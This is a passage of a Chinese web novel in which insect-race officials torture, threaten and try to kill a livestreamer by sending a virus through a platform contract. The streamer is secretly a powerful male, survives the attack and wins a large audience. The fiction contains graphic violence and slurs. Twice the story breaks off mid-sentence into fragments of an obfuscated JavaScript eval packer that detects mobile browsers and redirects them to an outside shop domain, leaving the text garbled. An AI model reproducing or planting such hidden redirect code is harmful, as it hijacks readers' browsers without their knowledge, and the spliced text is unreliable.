他的瞳孔会放大到极限，全身肌肉在电流的作用下无法控制地疯狂痉挛抽搐，像一条被扔上岸的鱼，不断地开合嘴唇但无法发声，喉咙里只能发出“嗬嗬”气音，绝望却不能有任何的嘶鸣。 或许，他还会闻到自身皮肉被烧焦的可怕气味，剧痛将瞬间摧毁这个可怜的F级亚雌脑中核桃仁大小的意识海，电光爆裂。 可能有少量喷溅状血迹溅到墙壁，被绑在椅子上、失去头的尸体朝后仰倒，但狱警不会就此离开。 他们会给罪虫注射自愈药，然后走到一旁，手握按钮，站在原地，等待。 等待罪虫自愈，再重复步骤，他的意识才刚朦朦胧胧地恢复，冰冷的电极触感就再次清晰地传来……他可能会崩溃地尖叫、求饶，涕泪横流，徒劳地扭动被束缚在铁椅上的身体，痉挛的指甲在扶手上擦刮出刺耳声响。然而，回应他的只会是狱警冷漠的眼神，和下一次按钮的按下……周而复始，永无止境。 或许，在某个风和日丽的下午，一次意外的过量电刑，或者自愈药剂用完碰巧未能及时送达，他那双曾经在星网上创造奇迹的手就会无力地垂下，瞳孔彻底涣散…… 巴尼多主管被这极度残忍的画面激得浑身一哆嗦，缩着脖子皱起鼻子。 自从第一军团长的雌长子犯事受罚的那桩案子开始，这是今年第几起了？ 他已经数不清。 @巡演这样的雌虫，巴尼多主管见过太多，各种级别的都有。 纵使他背靠军团，那又如何？ 这种时候，任何靠山都会在第一时间撇清关系。 巴尼多唉声叹气着摇头，心道除非@巡演手眼通天，上至雄虫议会…… 但这可能？ 也不看看人家议会是专为雄虫阁下服务的，雌虫得挤破脑袋才能搭上边。 那主播的真实信息，温莎·贝尔，F级亚雌，其父不详，无权无势，足以决定一切。@巡演想要翻身，绝无可能…… 然而，现在的真实情况是，耀武扬威不可一世的稽查专员受挫！ 卢施被怼得有话却噎在喉头，不可置信自己居然被质疑职业素养，霎时间沉默。 囚星典狱长不给他喘息的机会，乘胜追击，开始了幽幽的长篇大论： “尊敬的016号外勤稽查员，请先容许我称赞您和您的同僚们，您们全都骁勇无比，昨日的战果堪称辉煌，一次性塞满了我们预留的最后三个监禁室。” 卢施听着听着，握紧通讯器的手指就不自觉收缩更紧，拳峰暴凸发白。 他好像预感到了对方要说屁话，但不清楚具体内容，只能隐约感觉不妙。 路寻衍则是若有所思，已经明白典狱长接下来是想用监狱爆满做文章。 “现在，囚星所有的监区满员率均超过150%，部分重刑区满员率甚至已突破200%，您是想让囚星变成一颗活虫罐头，还是想让重刑区的那群暴徒们因为过度拥挤而暴动，冲出来问候您？ 尊敬的016号外勤稽查员，我可以这么跟您讲： 您们昨天端秀场的时候哪怕少抓一只虫，今天我也不至于拒收那主播。” 囚星典狱长是个典型的高等种，惯用绕弯子的方式阴阳怪气，张口就是“我知道你很急但你先别急”。在那份刻意维持的恭敬之下，是毫不掩饰的刁难推诿。 他用监狱满员暴动危言耸听，将拒收责任滴水不漏地反扣在卢施及其同僚头上。 兜兜转转，对面在通讯里的酸话一箩筐，所表达的意思一句话就能概括： 对不起，@巡演，我们拒不收监！ 卢施愣神，差点怀疑自己的耳朵。 ——这老不死的存心找事吧？ 否则为什么他早不说晚不说，就挑这个时间点儿说囚星关不下更多！ 换在别处，卢施早就开麦与典狱长据理力争。 可偏偏，他现在周围有那么多的虫旁观！ 总不能为逞一时之气，当场把雄保会和囚星之间的那点腌臜公诸于众，那后果简直不堪设想，雄保会和囚星内部大多数虫员都可能被牵连，势力重新大洗牌！ 他可不想因此丢了官位。 这一来二去的，自己竟然必须向远在天边、稳坐在星网另一端的主播@巡演低头？ ……他必须放弃把他关进囚星？ 操！卢施在心底破防，两眼发红、鼻翼翁动。 自己执法二十余载，经手案件十几万，权贵栽他手里也得蜕层皮！ 还是头一回见到，像@巡演这样，背靠阿斯克的第七军团，就比蚂蚱还能蹦跶的亚雌，怎么摁都摁不死！ 他越想越气，憋得面红耳赤却顾及高等种的形象不能当场发作，剧烈的吸气抽气，却仍旧缓不过来…… 终于在某个时刻，卢施猛地一抡臂，啪地摔了手枪，双手抱头，在心里爆发出了一阵撕心裂肺的尖叫。 另一边，囚星典狱长屡战屡胜，心情自是愉悦。 他对着通讯器舒了口气，松开手中捏着的小纸条。 ——其实他刚说的台词，都是现抄现背的来着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609383|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >30秒之前，议会长突然给他打来一个面对面通讯。 他忙不迭的接通，4D全息影像出现在他左侧。 光屏里，这位高权重的议会长没露脸。 一双戴了黑色手套的双手微微交握，食指偶尔敲击桌面，倒也没交代别的，就讲了几句话叫他照着读。 那用词之曲里八拐啊，先明笑，再暗讽，给他听得那是一愣儿一愣儿的。 议会长说完看了眼时间，在光屏里提醒他还剩15秒，叫他抓紧时间熟悉台词。 囚星典狱长急得差点滋儿哇乱叫！ 这么短的时间，他哪能记得住那么多？赶紧趁着短期记忆还在，颤巍巍拧开中性笔誊写下来，蠕动着嘴唇边写边背，家中有小雌崽破壳都没现在这样激动。 典狱长左右脑功能全开到极致，刚记熟，他如获大赦，转着眼珠咂巴了两下嘴，还没来得及问给谁读呢，073号稽查专员·怀因的电话就跟打进来了。 他顺理成章的说完开场白，期间通话对象换了虫，怀因的领导横插一脚，但比起议会长来讲，那都不算个事儿，于是他按部就班委婉地谴责他们抓太多。 背到最后，囚星典狱长高速运转到快要烧起来的脑子终于得空一心两用。 隐隐有种神秘的预感，议会长此举并非偶然，而是精心密谋，多半是想帮那个主播解决后顾之忧！ 到底是谁这么好命？真想知道哪只雌虫竟然认识这么位滔天巨擘！ 他心里刹那迸发出强烈的好奇。 然而，再借自己三五百个胆儿，也不敢试探上面大虫物的密辛。 权衡利弊过后，囚星典狱长瞬间倒戈！ 他清了清嗓子，声音变得更加“公事公办”： “所以，尊敬的016号稽查员，如果您不能使唤议会长特批经费在24星时之内凭空多变出一座新监狱来关押@巡演，就请您自己想办法吧。囚星，恕不接待。” “……” 卢施听完，脸色由红转青再转黑，阴沉得几乎能滴出墨来。 @、巡、演……！他颤抖着紧咬住后牙槽，一遍遍默念这个名字宛如在心底一遍遍来回磨刀，终究还是没能忍住，手心骤然加力，把通讯器咔咔咔捏出蛛网碎痕。 怀因从始自终在旁观察着战况，见卢施惨败，一颗心瞬间沉入谷底。 领导亲自出马都铩羽而归？这也太反常了。 他下意识看向卢施。 只见对方黑脸上的肌肉微微抽搐，尽显权威被挑衅后的羞怒和难以置信。 囚星典狱长的态度强硬，不知从哪里来的底气跟雄保会掰手腕，就为这么个非亲非故的底层亚雌主播。 @巡演总不能有比雄保会还牛B的靠山吧？ ……等等。 万一有呢？ 所以……该不会……？！ 怀因脑中灵光乍现，突然脖子后仰倒抽一口凉气，飞速思考的同时，小股小股把气呼出来，瞳孔因震惊而放大。 ——事情的真相只有一个！ @巡演的身份绝对不简单。 囚星典狱长如此反常地、不惜得罪雄保会高层也要“保护”@巡演避免他入狱，唯一的解释就是——他收到了来自更高级别、他绝对无法违抗的存在的直接命令！ 所以，@巡演背后站着的，恐怕是连囚星典狱长都惹不起的滔天巨擘！ 怀因越想越觉得心惊肉跳。 他的目光死死锁定在@巡演的直播间上，原本鄙夷的那些下三滥「爱情/情感」主题剧本都变得深奥起来，看向@巡演直播间的眼神瞬间充满无与伦比的敬畏： 那个亚雌主播，莫非是在执行上面哪位大虫物的布局？ 再听这些BGM，虽然在音乐鉴赏第一名的他看来简直是呕哑嘲哳，可，如果这也是那布局的一部分呢？ 怀因的心脏狂跳不止，总觉得自己好像无意间触碰到了足以改变社会秩序的惊天秘密。 他们都错了，@巡演不是第七军团的白手套，而是中央权庭的白手套！ @巡演绝对不能动。动他就是忤逆那位无法想象的存在，是自取灭亡！ 怀因激动地俯身把鼻尖凑到曲面屏前，却发现@巡演的直播间黑屏了。 弹幕都在刷【？？？卡了？？】 【主播出事？】 有虫劝退，【散了吧散了吧，主播这会儿多半已经被雄保会枪毙。】 有虫附和，【他们对付这种在星网上乱蹦的小蚂蚱经常跳步骤省时间。】 【反正关进囚星也是个死，现在枪毙他不过是把死期提前。】 【早死晚死，都没什么区别。】 雄保会很忙的啊，外勤平均每5个星时就要解决一起案件，@巡演的事已经耽误了3个半星时，不能再拖了。 卢施挂断了跟囚星典狱长的通讯，黑脸上浮现一抹狠辣之色。 他朝办公室全体抬起右臂，小指与无名指蜷起，余下的三指有规律地往下挥了挥。 巴尼多主管愣神，没能意会。 卢施不耐烦地啧了一声，走过去代替怀因亲自操刀，叉腰一拍桌子大喝： “给我远程攻击@巡演的意识海，我要你们以最快的速度，直接弄死他！” 10. 主播诈尸 啊？杀了@巡演？！上面的不会追责吗？ 怀因猝不及防一噎，感觉屁股后面凉飕飕。 这只萤火虫被震惊，咚咚咚从办公桌上翻滚而下，仓皇中张开了硬质甲和里面的飞行翅，身体腾在半空歪斜着一边调整平衡一边缓慢下落。 长在后腰窝里的V型车尾灯都给吓开了，从偏白的雄保会制服里透出片淡蓝色的光。 “啧。”卢施偏头扔了这二缺一记隐晦的白眼。 这届的后辈真是越来越不顶用！ 怀因见状，心叹领导居然这么自信的同时，又谴责自己看事不通透。 最后，他站在一旁神采奕奕地望着卢施，信仰坚定地攥拳点头： 嗯！总之相信老前辈的就对了。 【主播怎么还不上号？】 【…多半是已经死了。】 @巡演的直播间黑屏，原因众说纷纭。 最广为流传、也是观虫们接受度最高的猜测是： 主播黑屏是因为涉嫌违规，已被雄虫保护协会外勤介入调查，永久封禁。 屏幕前，还有五万多双眼睛没走，紧盯着@巡演的直播间，有监管部门，也有陆续涌入的新老用户。 这波观虫里，中低等种最多。 可以说，他们就是千千万万个艾瑞克，生活在矿星底层，在流水线上耗尽体力、或在垃圾星的边缘挣扎求存。 从出生起，他们就被告知自己终其一生都无缘得见雄虫阁下，并在未来剩余的近百年漫长岁月里，被周围的一切潜移默化，不断地加深这个认知，一腔热血被浇灭，逐渐麻木。 现在，有个主播跳出来写剧本。 分明是虚假的故事，可他们总觉得越看越真。 在他们之中，有虫抨击艾瑞克不切实际，却会偶尔迷茫，自己到底是在攻击剧中的雌虫，还是在贬低他们本身。 他们每骂一次，就像也在对自己说： “艾瑞克”，别做梦了，不可能的。 【主播果然是被封禁了吧？】 【哈哈！我就说！贱种也敢白日做梦？】 【艾瑞克一只连个C级都够呛的垃圾货色想跟尊贵的雄子阁下结婚？他配吗？他连给雄子阁下提鞋都不配！】 @巡演不在，时间一长，他们就像得到某种信标，更加笃定心中的这个百年来不断被强化的认知观，坚信中低等种不可能成为阁下的雌君，最好是连想都不要去想。 他们宣泄对艾瑞克的恶意，试图用自己毕生得到的教育来说服艾瑞克： 别再挣扎，别再做梦。 像他们这样的贱种，这辈子能在雄子阁下出席嘉年华活动等公共庆典时远远的望上一眼，闻到一点点……一点点甚至可能是他们自己臆想出来的信息素的味道，都堪称是祖坟冒青烟。 不要妄想跟雄子阁下有什么接触。 更不要妄想结婚。 他们疯狂地想把剧中的雌虫一起拉入自己身处的深渊，堪称苦口婆心。 【奉劝主播，能站在那样高贵的雄子阁下身边的，最少也得是A级雌虫，占总数不到8%。】 【别再做梦，你不是含着金金汤匙出生的权贵家少爷，从小锦衣玉食，接受最顶尖的教育，精神力天生强大； 你也没有顶级军雌用命在战场上杀出来的功勋。你永远也不可能通过权庭初筛，进入雄子阁下结婚的候选者名单。】 直播间弹幕在狭小堆满杂物的房间里飘荡。 线下，周围几个疲惫不堪的工友沉默，盯着黑屏的眼神复杂。 他们知道同伴说得没错。 雌虫天生向往雄虫，但他们是云端上的存在。 配得靠近雄子阁下、甚至奢谈“匹配”的雌虫，会是什么样的雌虫？ 跟他们这群贱种，有关系吗？ ……答案，似乎早已不言而喻。 主播健在时，他们疯狂谩骂； 如今主播真像他们“期望”的那样消失了，他们却怅然若失。 【真的被抓了吗？】 【骗子！】 【垃圾主播，活该被雄保会收拾！】 【我就说嘛，写的什么玩意？浪费老子的时间，封得好！】 咒骂在直播间此起彼伏。那是他们心中有什么在被刺痛之后的本能反应。 他们用否定和浮于表面的愤怒来掩盖灵魂深处那一点点被主播的文字勾起的、连自己都不敢承认的微光。 @巡演的失败，正是对他们心之深处最根深蒂固的那个绝望的一次完美印证—— 像他们这样不幸未能中奖基因彩票的非高等雌虫，从破壳的那刻起，就注定了只配在尘埃里匍匐，奴颜媚骨，任何肖想都是罪过，都该被周围“清醒”的大众粉碎，连“指点”的措辞都千篇一律： 别想了，你不配。 …… 我真的，不配吗？ 渐渐地，在这片嘴硬的评论热潮之中，另一种情绪开始悄然闪烁。 【……虽然不可能……但……主播撑住啊。】 【@雄保会，我希望你别太为难他。】 【艾瑞克，跑！快跑！千万别被抓到！】 【求求了，让他继续播吧，就算是假的……让我再看看。】 【祈祷。主播平安。万求直播间重开。】 这些ID背后，同样是中低等雌虫。 他们知道那是假的，知道@巡演笔下描绘的世界与他们绝缘。 但那个直播间，那个叫艾瑞克的家伙，竟敢胆大包天的在他们已经完全封闭的世界撕开一道裂缝，让他们得以窥见一个从未想象过的可能—— 【雄子阁下的信息素……到底是什么味道啊？艾瑞克说的是真的吗？】 这条留言孤零零地飘过，带着某种纯粹到卑微的好奇，很快淹没在涌上来的更多“主播必死！”和“祈祷解封”的字句中。 【平台帮帮他吧……】有评论者弹幕艾特Felix直播分公司官号。 巴尼多主管的制服衬衫透湿，今天一晚上出的汗比一年的都多。 他急促地用嘴呼吸着，如同破旧风箱呼哧呼哧，咽下一口唾沫都艰难。 ——此时他的下巴上正抵着卢施的一把脉冲电磁手枪，滚烫的枪口陷进肉里。 巴尼多主管剧烈呼气的声音，听上去像在声嘶力竭着说“不”。 卢施当即抬起手来一枪托正中巴尼多额心，把他砸得头破血流！“还不动？你难道是耳朵聋了？*的！你再瞪？就凭你一个D级的贱种，也敢直视我的眼睛？” 卢施的枪口怼进他耳洞，表示再抵抗他就不介意待会一语成谶。 巴尼多主管跪在地上东倒西歪。 俯瞰这D级贱种狼狈的反应，卢施终于满意地眯起眼。 他从鼻腔哼了一声，大度地表示自己也不是不能好心地递给贱种一次重新做人的机会，沉着声重复： “……我说，我要那主播……死！你到底是做，还是不做？！” 卢施双眼喷火，握枪的手掌颤抖。 巴尼多主管登即大脑一片空白，“嗬——！嗬——！”着龇牙咧嘴。 他知道，待会要敢有一丁点让卢施觉得忤逆，下一秒就立马会脑袋开花，偏偏现在四肢每一块肌肉都在跟自己较劲作对，身体怎么也动不了！ 越想动越急，巴尼多主管的鼻孔里噗地冒出气泡。 他的眼泪狂飙，液体顺延流下，濡湿耳鬓，最终拼尽全力才五官狰狞扭曲着，勉强把下巴点出个很小的幅度。 卢施见状啧了声。 他收枪，朝后倒退一步，在巴尼多纳闷之时，突然飞起一脚把他从地上踢到了办公桌上！ “砰！”的一声巨响。 巴尼多只感觉前腹有如锥刺般的剧痛。 他下意识反应刚低头，耳边就传来疾风呼啸，随后立即倒飞出两米远，稀里哗啦砸烂三四台电脑！滋滋滋滋……主板暴露，电线漏电，沾到就被电得抽搐痉挛失去意识，昏死过去。 “嘁。”卢施轻蔑地看完他晕厥的全过程，拍拍手，脸上忽然收笑。 他的神色一凝，锐利眼神逐一扫过电脑屏周围的若干程序员。 他们个个神色惊恐万分，露出楼下电梯门口众虫被暴力威慑时的那种绵羊般软弱的表情，立马在卢施目射凶光的注视下自发揽活，分工测这算那，汇总数据结果，聚在一起讨论出具体方案，向卢施汇报经过千辛万苦的调查，他们终于发现关键性突破口： @巡演精神力连着直播间，而直播间连着Felix平台！ “我们就可以在这上面做文章！” 卢施点点头。怀因也跟着点头。 程序员们松口气开始施工，两手在键盘上哒哒哒飞出残影，做好攻击病毒程式打包发送给坐在他们对面的法务虫。 法务虫接力，办公桌上的右手握紧鼠标，咔咔咔一阵狂点，在平台系统操作生成最终的签约合同，发送给@巡演。 卢施将这一切尽收眼底，成竹在胸地昂高下巴，睥睨电脑屏幕的样子仿佛在蔑视@巡演，嘴角勾起—— 这回看你还怎么逃脱我的手掌心？ 他在心底暗自发誓，像@巡演这么能蹦跶的蚂蚱，待其落网，他定叫他体会体会，什么叫做求生不得求死不能！ …… 当事人恍若未觉。 他安静地伫立在直播间偌大的金黄色光屏前，垂下眼眸，不紧不慢擦干净锤面的鲜血，柔白掌心沾上丝缕淡红。 有些顺延重力流到指缝中间，他便用大拇指指腹慢慢横扫着碾过去。少部分余液则以两指指腹轻捻，风干形成血膜，远看像戴了只薄薄的红手套。 他关掉小窗，点击直播间光屏。 叮咚！ 平台又有消息弹出。 这回是Felix法务部，【@巡演，你有一份待签署的电子合同。】 昏暗房间里的银发雄虫嘴角微微勾起，脸上安静地绽放一抹温和的笑意。 这波将计就计，优势在我！ 路寻衍点击接收，一条条仔细阅读起来，确定合同条款没问题，朝光屏伸出手。 下一秒，他手里就握了一支智脑自动递给他的银色钢笔。 斜倒在他虎口里的重量有些沉，触感仿真，做工精细，笔尖雕刻繁复的花纹。 路寻衍执笔，墨水在他签字的瞬间灌注那些银白色的花纹，写下几个漂亮的花体字，温莎·贝尔。 这是权庭为保护未成年阁下不受雌虫公权私用地性骚扰而建档的假名字。 签好的合同回传，程序员们趁机在后台按下Enter键，投放病毒，大功告成差点泪奔，“长官，我们已经对@巡演攻击成功！” 他把电脑屏幕逆时针旋转270度给所有虫看，笃定： 那个主播现在已经开始浑身虚弱，四肢乏力！ 30秒后，@巡演背后的真虫亚雌将会结膜充血双眼失明，1分钟后剧烈头痛内脏出血意识模糊。 “不出三星分，他就会因为意识海的彻底破碎死亡！” 程序员振聋发聩地汇报完，办公室瞬间爆发出一阵雷鸣般的掌声。 ……卢施听完，居然毫无反应。 这让抱着项目成果书、眉飞色舞前来汇报的程序员惴惴不安。 叭叭报告的嘴开合速度逐渐放慢，最终停下，措辞也从自信变得支支吾吾，“……长、长官，我说错什么了吗？” “啪！”卢施突然抬手一巴掌！ 程序员被打倒在地上，脸上火辣辣的疼。“长、长官……？” 他哆哆嗦嗦地咽下口中血沫，嘴唇蠕动了几次，怯懦询问，自己刚才是不是报告时的发音不好听，引得长官不快？ “啧。”卢施打得手疼，烦躁地甩甩手腕，然后松开领带，给自己透气。 *的，他见着这满屋子的贱种就烦，尤其是当他们马屁拍在虎屁股上的时候。 正当Felix办公室全体虫心惶惶大气也不敢喘、纷纷猜测他这样做的原因的时候，卢施终于舍得跟他们解释： “我有说，允许@巡演死得这么轻松了？” “……那个主播把我折腾四个星时，现在你告诉我，不出三分钟，他就可以死得干干净净、彻彻底底？” 卢施就近抓起其中一个程序员的领子，唾沫横飞。 “我要那主播，痛到求生不得，求死不能！” 程序员连忙辩解，“长官，您这可就误会了我！ 虽然时间短，但那主播死得绝对不轻松。 他将度日如年，每一分每一秒都清醒地感知到属于自己的精神力一点点溃散离身体原去，@巡演会挣扎却无能为力，直到最后所有意识都在绝望中泯灭。 在这种致命攻击之下存活的概率不足1%！” …… 路寻衍的长睫微敛。 刚才在签约完成之后，他便重新点开转播小窗，撞见Felix程序员听完卢施发火的原因、扶着被劈烂掉一半的办公桌歪歪扭扭站起来，噼里啪啦讲一大堆，保证他待会求生不得求死不能。 在他偏头望着小窗转播的时候，老师不知何时重新上线，黑色的钢笔头像变亮抖动，消息一条接一条发来。 [阁下，阻止任务已完成，您是否满意？] …… [阁下，他们竟敢如此对您！] [阁下，是否需要立即拦截病毒程式？] …… [阁下，他们已经投放病毒成功，现在拦截不了了！] …… [阁下，您现在感觉怎么样？！] …… [阁下…] [阁下…] [阁下…] …… [阁下，您没看私信，我理解您的忙碌，但为了您的生命安全着想，请恕我逾越在您的意识海投放防御插件。] [等这件事结束，我将负荆请罪。] …… 路寻衍划完刷屏的几十条消息，有些哭笑不得，其实自己早就做好防范。 他轻轻抽了一口气，垂下眼睑，很快感觉到有股极其阴冷、充满恶意的力量试图钻入他的脑子。 就是现在！ 路寻衍徒然睁眼，控制意识海放出自己先手捏好的精神力海啸，清澈的淡蓝色浪花拔地而起，扑灭那些针刺般的攻击。 当第二波来袭的时候，老师也介入保护。 这股力量在触及他意识海边缘的刹那，仿佛撞上一堵无形而温润坚韧的壁垒，发出只有路寻衍能感知到的极其微弱的砰砰声。 大部分攻击都被屏障消融，只剩一丝余波渗入。 ——难道这就是炮灰必须经历的重伤时刻？ 路寻衍提心吊胆，但实际接触下来他感觉还好，仅是太阳穴微微一胀，像熬夜后的轻微不适，倒不像程序员讲的那样虚弱到站都站不起来、头疼欲裂。 光屏里关切的嘘寒问暖还在继续。 [阁下，您现在感觉怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609384|187600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样？] 路寻衍如实答道，[我反倒意外地感觉没什么事，老师。] 对方却不依。 星网的那头，他的老师好像关心则乱，第一次跟他红脸： [真的吗？阁下，您无需为了保护几只罪雌就向我隐瞒您的健康状况！这件事比他们所有虫的生死加起来都更重要！] “哎。”路寻衍叹口气，指尖在光屏上轻点，[我、真、的、没、事。] 他一个字一个字地回复。 [再说了，我可是S级阁下啊。] 路寻衍给出令其信服的理由。 难道还能质疑专攻精神领域的雄虫无法应付对他意识海的攻击不成？ 老师的黑色钢笔头像变成六个点跳动一会，似乎在输入，但最终什么也没发过来。 跳动的六个点又变回黑色的钢琴头像。 [好吧，阁下。如果您之后有任何不适症状请记得及时与我联络。] 老师应该也很忙，发完就下线了。 路寻衍扬眉，一切尽在掌握之中！ 他提笔就是一个签约，平台立马顺着网线阴他来了。 如今，他却依旧好端端的站着。 ——只怕是有些人要崩溃咯—— “不可能啊，这都过去五星分了。@巡演怎么还没死？！” Felix办公室爆发出一阵杀猪般的惨叫。 有虫锤烂键盘，盖帽与键轴齐飞。 路寻衍眉眼微抬，望向已经自动入档的合同，似笑非笑地轻轻喷出了一点鼻息。 他抬手彻底关掉了小窗的监控，视线重新转回光屏，有些惊讶地发现里面多了出的一支银色的钢笔，戳了戳。 好在没什么影响，索性不管了。 路寻衍的手指在光屏上又划拉了几下，查看智脑存档，里面记录有他错过的后半段直播间动态。 现在剧本内容新增近千，却由于刚才种种原因而断联停止谱写，前台显示黑屏，需要主播手动重连。 路寻衍很快开始操作。 再次上号，他的头像右上角已经亮起签约专属标志红V，欣赏了一阵胜利的果实才切出后台，重连直播间。 随着@巡演那棵简笔画的杂草头像再度亮起，原本已经等到没趣、稀稀拉拉飘过一两条评论的黑屏直播间顷刻沸腾。 【？？？？？？？？？？？】 【主播回来了？】 【红V！！！签约专属红V亮了？？？】 【艹！@巡演诈尸？这不可能！】 【所以刚才黑屏，不是封禁，而是签约？？？】 观虫一时不知是Felix疯了还是他们自己疯了。 @巡演的复活，一拳干碎他们的所有预判！ 主播这突如其来的一记耳光，抽得响亮，狠狠打在所有刚才还在泄愤诅咒、认定@巡演已经死得不能再死的雌虫观众脸上！ 这冲击来得太猛太痛，如同在骤然敲开了他们心中厚茧的时候，又狠狠地加力猛撕。在“刺啦！”的一声巨响过后，外界的强光就这样毫无保留地、在刹那间射进了每个中低等雌虫的眼睛。 他们并没有立刻倒戈。 习惯了自缚于黑暗之中的他们，在强光照耀的那瞬只觉得顿时无所遁形却避无可避！ 这局面引发巨大的恐惧和愤怒。 更猛烈的、带着恐慌和自我防御性质的攻击随之而来，轰然爆发： 【骗子！！！！！这绝对是新的骗局！！！Felix跟他一伙的！！】 【操*的@巡演！你到底用了什么脏手段躲过去的？！雄虫保护协会的虫都被你收买了吗！？】 观虫纷纷谩骂这该死的亚雌，玩弄他们的感情还不够，现在还要用红V来嘲讽他们。 【艾瑞克，我**告诉你，你**签约了也是狗屁！】 【你就是想看着我们这些贱种一次次燃起希望再摔得更惨！@巡演，你他X不得好死！】 【是个虫就一起抵制@巡演！】 评论区尖叫着，动员所有观众要一起戳穿他，撕碎他，否则就是在容忍@巡演把他们的最后的一点尊严都碾灭。 那个刺眼的红V像一块烙铁，笔直地杵进了观虫的心里，烫得他们嗷嗷乱叫。 愤怒、谩骂、诅咒，评论区用最恶毒的语言来掩盖那几乎要冲破胸膛的动摇。 路寻衍也没浪费时间。他飞速地浏览了一圈评论区，发现： 这里的“大多数”，跟蓝星上的，差距显著。 21世纪的普通人，哪怕有些事不敢做，也难免在脑子里yy暗爽一下。 他们却畏手畏脚，想都不敢想。 路寻衍轻叹，这些虫自缚手脚，最终当然一事无成。 什么事情不是“先敢想、而后敢做”浇筑而成的？ 诸如特斯拉的交流电，乔布斯的触控手机，福特的大众车让高高在上的奢侈品一夜之间变成千家万户都能拥有的代步工具，蓝星出过太多敢想敢做的狠人。 如果随波逐流，坚信爱迪生的直流电，放任诺基亚把手机框死在只能发短信打电话的定义里搞垄断，看着汽车只有富人才买得起……又会发生什么？ 一旦阶级高低的差距被钉死，世界展现出来的样子，或许就是现在这般。 人类的经验放在类人的智慧种族，并不完全适用。 但现在的局势已经明朗。 这些虫，小说里的NPC，并不是听不懂话的彻头彻尾的牲畜，与人类仍然存在一定程度的共通点。 自己首战告捷也证明，最起码“敢想敢做”这个思路没错。 路寻衍定了定心神，把视线重新投向光屏，心中悄然浮现接下来的创作计划。 @巡演直播间。 在最初的震惊和狂怒过后，一小部分观虫的态度开始悄然转变，从绝对的否定走向犹豫的肯定。 他们神色复杂地看着那个闪烁的红V标志和直播间重新亮起的主播头像，心中似乎有一丁点极其微弱的什么，正在破土发芽……那是自己平日想都不敢深想的可能性。 “嘿……我有个直播间想给你看……！” 不管动机为何，或跳脚拉帮结派继续辱骂，或犹豫不决最终推荐亲友，总之，路寻衍一上号，在多方原因的加持下，@巡演直播间的在线虫，从原本的小1000暴涨至30w+，数量还在继续快速攀升，首次直逼50w大关！ 在四十九万双眼睛的密切关注下，路寻衍没有立马动笔，而先在后台操作一阵，把那张美丽的星云背景图重新贴上去。 做完这些，他才欣欣然面对光屏，亲手提笔几行诗歌。 漂亮银色花体字经过的地方，一朵又一朵白玫瑰沿着字迹方向悄然绽开。 @巡演： 【婚后20年，有件事，艾瑞克也常跟阁下提起，一同陷入回忆。 彼时的艾瑞克在他温和的鼓励式劝导下，自学了书面语，以及虫族的旧邦交蓝星文明遗留的古典诗歌，最终掌握了知识分子日常使用的高频五千字，执笔写下自己虫生中的第一首情诗。 我在心里埋下种子，要用这世间所有美好的词汇来形容他。 我的爱人，就像一朵带着露水的高天玫瑰。 当他站在授勋典礼的颁奖台上冲我微笑，隔着人山人海，远远地向我举起酒杯。过了一会儿，轻盈地穿过人海人海，把金色的香槟递到我的手上。 那一刻，我想，我找到了自己存在这世间的全部意义……】 11. 二杀巡演 这是路寻衍贴完星云图，在主播后台薅来的新V小福利。 他自定义了这段正好长度一整个屏幕的入场文字，相当于预告。 你们这群畏手畏脚的家伙们，都睁大眼睛看好了： 敢想敢做的艾瑞克，拥有别虫到死也不敢奢想的、被爱意浸润的未来。 【这怎么可能？！】观虫点进直播间，第一眼看到的不是剧本，而是这段诗歌，强烈的探究欲瞬间爆发。 @巡演的直播间在线观看虫数，首次突破50w大关！还有慢涨之势。 路寻衍把“授勋典礼”这个关键转折点提前抖了出来，是在打窝洒饵，让他们都看看，敢想敢做的虫能得到什么回报，果然钩子甩得呼呼带风，一钓一个准！ 事业派和恋爱派同时疯狂。 【啊啊啊啊艾瑞克真成上将了！！！】 【感谢主播，瞬间脑补出了尊贵的阁下给我递酒呜呜呜呜虫生死而无憾T^T】 嗡-嗡- 路寻衍的智脑手环短震两下。 ——平台提醒——ID卡利赞助了您十艘超级舰！ 留言：很美的比喻。能否授权我写进下周递给权庭的约会申请自荐语？ 路寻衍的眼角升起一轮新月，如果这剧本对外界有效，那再好不过。 [@巡演：请便(*｀▽｀*)] 他的指尖飞舞，刚发出对榜一的留言的回复，智脑手环又短震两下。 路寻衍抬眸看去。 原来是向来跟榜一杀得眼红脖子粗、恨不得把对方生吞活剥的榜二。 ID就爱看贵族老爷们跳脚也刷出了十艘超级舰。 见到入场文段里“授勋典礼”这样的事业升级流·关键词，榜二难得没有跳出来跟榜一对撕，偃旗息鼓。 现在，他们离奇的风平浪静。 @巡演回归直播间，新添的预告瞬间浇灭了他们吵出的所有火气！ 原本，在主播黑屏的期间，榜1-10针锋相对，总共刷出近百艘超级舰。 【@卡利，你XX闭嘴！少XX用你那套酸诗忽悠虫！】 【@主播，还不赶紧给老子删了这段！】 这俩弹幕被连番起航的超级舰捧上直播间顶端，自动霸屏15分钟。 而现在呢？这群事业狂热粉噤声不叫了，跟恋爱派短暂的握手言和。 嗡-嗡- ——平台提醒——ID就爱看贵族老爷们跳脚赞助了您二十艘超级舰！ 留言：冲啊艾瑞克，给我打烂那些看不起你的虫的脸！ 新换的标题预告当即触发阵雨似的打赏小高潮，超级舰蓝色尾焰几乎要把虚拟屏烧穿。 然而，这只是一小撮班底的反应。 原先那些唱衰@巡演、等着看他扑街的散户游客则不同。 